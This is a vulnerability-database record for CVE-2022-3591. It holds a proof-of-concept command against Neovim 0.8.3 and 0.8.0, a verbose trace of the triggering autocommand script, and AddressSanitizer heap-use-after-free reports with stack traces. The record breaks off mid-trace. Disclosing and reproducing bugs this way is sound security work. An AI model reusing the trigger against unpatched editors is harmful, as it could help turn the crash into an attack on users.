{"uuid": "7b4c9ab9-1668-4bca-a1e9-3e7057a47048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3591", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/05df94d4c2dc2c9995b1ddb1e1c58669", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: func Test_autocmd_split_dummy()\n\nline 19: \n\nline 20: call Test_autocmd_split_dummy()\n\ncalling Test_autocmd_split_dummy()\n\nline 1:   auto BufReadPre * exe \"sbuf \" .. expand(\"\") \n\nline 2:   au FileChangedShell * let v:fcs_choice = 'reload'\n\nline 3:   func Xautocmd_changelist()\n\nline 8:   call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n\nline 2: unlet! b:keymap_name\n\nline 3:     lex 'Xtestfile2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in Test_autocmd_split_dummy\n\nline 9:   call assert_fails('call Xautocmd_changelist()', 'E86:')\n\nline 9: call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 3\n\nExecuting FileChangedShell Autocommands for \"*\"\nautocommand let v:fcs_choice = 'reload'\n\nExecuting: let v:fcs_choice = 'reload'\n\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n=================================================================\n==4597==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000007108 at pc 0x000000b3de84 bp 0x7ffe11c3cf30 sp 0x7ffe11c3cf28\nREAD of size 4 at 0x627000007108 thread T0\n    #0 0xb3de83 in scroll_to_fraction /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6093:39\n    #1 0xb2a0c2 in win_set_inner_size /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6213:7\n    #2 0xb2f842 in win_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6074:3\n    #3 0xb305cb in frame_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3375:5\n    #4 0xb32975 in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2104:7\n    #5 0xb33385 in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2354:9\n    #6 0xb25707 in win_equal /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2066:3\n    #7 0xb2dde2 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1489:5\n    #8 0xb222f3 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1017:10\n    #9 0x5c9c9f in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1434:9\n    #10 0x5c8d55 in goto_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:891:9\n    #11 0x73c279 in ex_buffer /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c\n    #12 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x67cf3b in ex_execute /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:7727:7\n    #16 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x5bd3c2 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1866:5\n    #20 0x5bf7d7 in apply_autocmds_exarg /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1549:10\n    #21 0x777487 in readfile /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c\n    #22 0x787883 in buf_reload /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:5038:9\n    #23 0x786a81 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4952:5\n    #24 0x71192a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2434:13\n    #25 0x738f03 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #26 0x73c38a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #27 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #30 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #31 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #32 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #33 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #34 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #35 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #36 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #37 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #38 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #39 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #40 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #41 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #42 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #43 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #44 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #45 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #46 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #47 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #48 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #49 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #50 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #51 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #52 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #53 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #54 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #55 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #56 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #57 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #58 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #59 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #60 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #61 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #62 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #63 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #64 0x7fd427780082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #65 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x627000007108 is located 8 bytes inside of 12320-byte region [0x627000007100,0x62700000a120)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0x5c858c in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:834:5\n    #3 0x5c5c8e in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:665:5\n    #4 0x5d66e1 in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4214:3\n    #5 0x5d656d in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4197:5\n    #6 0x786bdb in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x71192a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2434:13\n    #8 0x738f03 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #9 0x73c38a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #10 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #12 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #13 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #14 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #15 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #16 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #17 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #23 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #24 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #25 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #26 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #27 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n\npreviously allocated by thread T0 here:\n    #0 0x4df842 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df842)\n    #1 0x88a332 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:144:15\n    #2 0x5cac5f in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1797:11\n    #3 0x5d62c4 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4163:19\n    #4 0x786bdb in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x71192a in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2434:13\n    #6 0x738f03 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #7 0x73c38a in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #8 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #12 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #13 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #14 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #15 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #16 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #20 0xa9db64 in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/testing.c:483:3\n    #21 0x6a3ba2 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:207:3\n    #22 0x6e6af9 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1571:15\n    #23 0x6e602b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #24 0x6f30bc in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2959:9\n    #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #29 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6093:39 in scroll_to_fraction\nShadow bytes around the buggy address:\n  0x0c4e7fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4e7fff8e20: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff8e70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==4597==ABORTING\n\n\n\nCommand:\n./nvim-0.8.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: func Test_autocmd_split_dummy()\n\nline 19: \n\nline 20: call Test_autocmd_split_dummy()\n\ncalling Test_autocmd_split_dummy()\n\nline 1:   auto BufReadPre * exe \"sbuf \" .. expand(\"\") \n\nline 2:   au FileChangedShell * let v:fcs_choice = 'reload'\n\nline 3:   func Xautocmd_changelist()\n\nline 8:   call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n\nline 2: unlet! b:keymap_name\n\nline 3:     lex 'Xtestfile2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in Test_autocmd_split_dummy\n\nline 9:   call assert_fails('call Xautocmd_changelist()', 'E86:')\n\nline 9: call Xautocmd_changelist()\n\ncalling Xautocmd_changelist()\n\nline 1:     cal writefile(['Xtestfile2:4:4'], 'Xerr')\n\nline 2:     edit Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3591)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 3\n\nExecuting FileChangedShell Autocommands for \"*\"\nautocommand let v:fcs_choice = 'reload'\n\nExecuting: let v:fcs_choice = 'reload'\n\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe \"sbuf \" .. expand(\"\") \n\nExecuting: exe \"sbuf \" .. expand(\"\") \n\nExecuting: sbuf 1\n=================================================================\n==4689==ERROR: AddressSanitizer: heap-use-after-free on address 0x627000007108 at pc 0x0000012539d8 bp 0x7fff652f48d0 sp 0x7fff652f48c8\nREAD of size 4 at 0x627000007108 thread T0\n    #0 0x12539d7 in scroll_to_fraction /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6086:39\n    #1 0x122b702 in win_set_inner_size /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6206:7\n    #2 0x1237e9a in win_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:6067:3\n    #3 0x12399b3 in frame_new_height /home/zzw/Desktop/neovim/build/../src/nvim/window.c:3374:5\n    #4 0x123e0ec in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2104:7\n    #5 0x123faee in win_equal_rec /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2354:9\n    #6 0x1221f49 in win_equal /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2066:3\n    #7 0x1235a5c in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1489:5\n    #8 0x121b779 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1017:10\n    #9 0x6b70e1 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1412:9\n    #10 0x6b487f in goto_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:868:9\n    #11 0x9b0647 in ex_buffer /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4271:7\n    #12 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #14 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #15 0x815364 in ex_execute /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:7718:7\n    #16 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #18 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #19 0x69e696 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1865:5\n    #20 0x6a2137 in apply_autocmds_exarg /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1549:10\n    #21 0xa2b24c in readfile /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:617:7\n    #22 0xa47f68 in buf_reload /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:5038:9\n    #23 0xa470f0 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4952:5\n    #24 0x959873 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2446:13\n    #25 0x9ab425 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5231:9\n    #26 0x9b07d8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5160:3\n    #27 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #28 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #29 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #30 